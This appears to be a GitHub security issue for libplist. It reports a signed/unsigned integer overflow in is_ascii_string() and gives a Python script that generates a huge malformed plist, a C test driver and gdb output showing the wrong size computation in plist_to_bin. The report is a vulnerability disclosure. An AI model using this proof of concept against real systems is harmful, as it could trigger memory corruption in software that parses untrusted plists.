-
-
Notifications
You must be signed in to change notification settings - Fork 329
Description
Description
The function is_ascii_string() in src/bplist.c contains an integer-overflow bug in its len parameter.
The function signature is:
static int is_ascii_string(char* s, int len)
{
int ret = 1, i = 0;
for(i = 0; i < len; i++)
{
if ( !isascii( s[i] ) )
{
ret = 0;
break;
}
}
return ret;
}
However, the caller passes data->length, whose type is unsigned int, into this function.
If data->length exceeds INT_MAX, it is implicitly converted from unsigned int to a signed int, causing the value to wrap into a negative integer.
This produces incorrect behavior: len becomes negative, the loop never executes, and the function incorrectly returns 1, indicating that the string is ASCII even when it is actually UTF-8 or other multibyte characters.
PoC
Python
def stream_write_with_chars(prefix, suffix, char, count, output_file):
"""
Stream-write: prefix + repeating char + suffix.
prefix (str) : prefix string
suffix (str) : suffix string
char (str) : the character to repeat
count (int) : how many times to repeat the character
output_file : output file path
"""
if not isinstance(count, int) or count < 0:
raise ValueError("count must be non-negative")
with open(output_file, 'w', encoding='utf-8') as f:
f.write(prefix)
chunk = 1024
remaining = count
while remaining > 0:
size = min(remaining, chunk)
f.write(char * size)
remaining -= size
f.write(suffix)
print(f"Generated: prefix({len(prefix)}) + {count} chars + suffix({len(suffix)})")
prefix = '''
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<string>
'''
suffix = '''
</string>
</plist>
'''
stream_write_with_chars(
prefix,
suffix,
char='一', # Non-ASCII character
count=715827883, # Triggers integer overflow
output_file="12.plist"
)
C driver
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <plist/plist.h>
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "Usage: %s <input-plist-file>\n", argv[0]);
return 1;
}
const char *filename = argv[1];
FILE *fp = fopen(filename, "rb");
if (!fp) {
perror("fopen");
return 1;
}
fseek(fp, 0, SEEK_END);
size_t size = ftell(fp);
fseek(fp, 0, SEEK_SET);
if (size == 0) {
fprintf(stderr, "File is empty\n");
fclose(fp);
return 1;
}
char *buffer = malloc(size);
if (!buffer) {
perror("malloc");
fclose(fp);
return 1;
}
fread(buffer, 1, size, fp);
fclose(fp);
plist_t root = NULL;
plist_format_t format = PLIST_FORMAT_BINARY;
// Newer versions of libplist require passing a format argument
plist_err_t err = plist_from_memory(
buffer,
(uint32_t)size,
&root,
&format
);
if (err != PLIST_ERR_SUCCESS) {
fprintf(stderr, "Failed to parse plist: %d\n", err);
free(buffer);
return 1;
}
printf("Parsed, detected format = %d\n", format);
char *bin = NULL;
uint32_t bin_len = 0;
plist_err_t err2 = plist_to_bin(root, &bin, &bin_len);
if (err2 != PLIST_ERR_SUCCESS) {
fprintf(stderr, "plist_to_bin failed: %d\n", err2);
plist_free(root);
free(buffer);
return 1;
}
printf("Binary plist generated, size = %u bytes\n", bin_len);
free(bin);
plist_free(root);
free(buffer);
return 0;
}
/*
Compile example:
gcc -fsanitize=address,signed-integer-overflow parse_and_bin.c \
-o parse_and_bin \
-I/home/yuelinwang/lib/include \
/home/yuelinwang/lib/lib/libplist-2.0.so \
-Wl,-rpath,/home/yuelinwang/lib/lib
*/
Analyze
When running under gdb, we observe:
Breakpoint 3, is_ascii_string (s=0x7ffef35fb800 ..., len=-2147483641)
(gdb) p len
$4 = -2147483641
The loop exits immediately:
for (i = 0; i < len; i++) // never entered
Thus:
ret = 1
is returned, meaning “ASCII string” even though the string contains only non-ASCII characters.
This leads the serializer to incorrectly follow:
req += data->length;
in plist_to_bin, instead of the correct:
req += data->length * 2;
causing an incorrect size computation.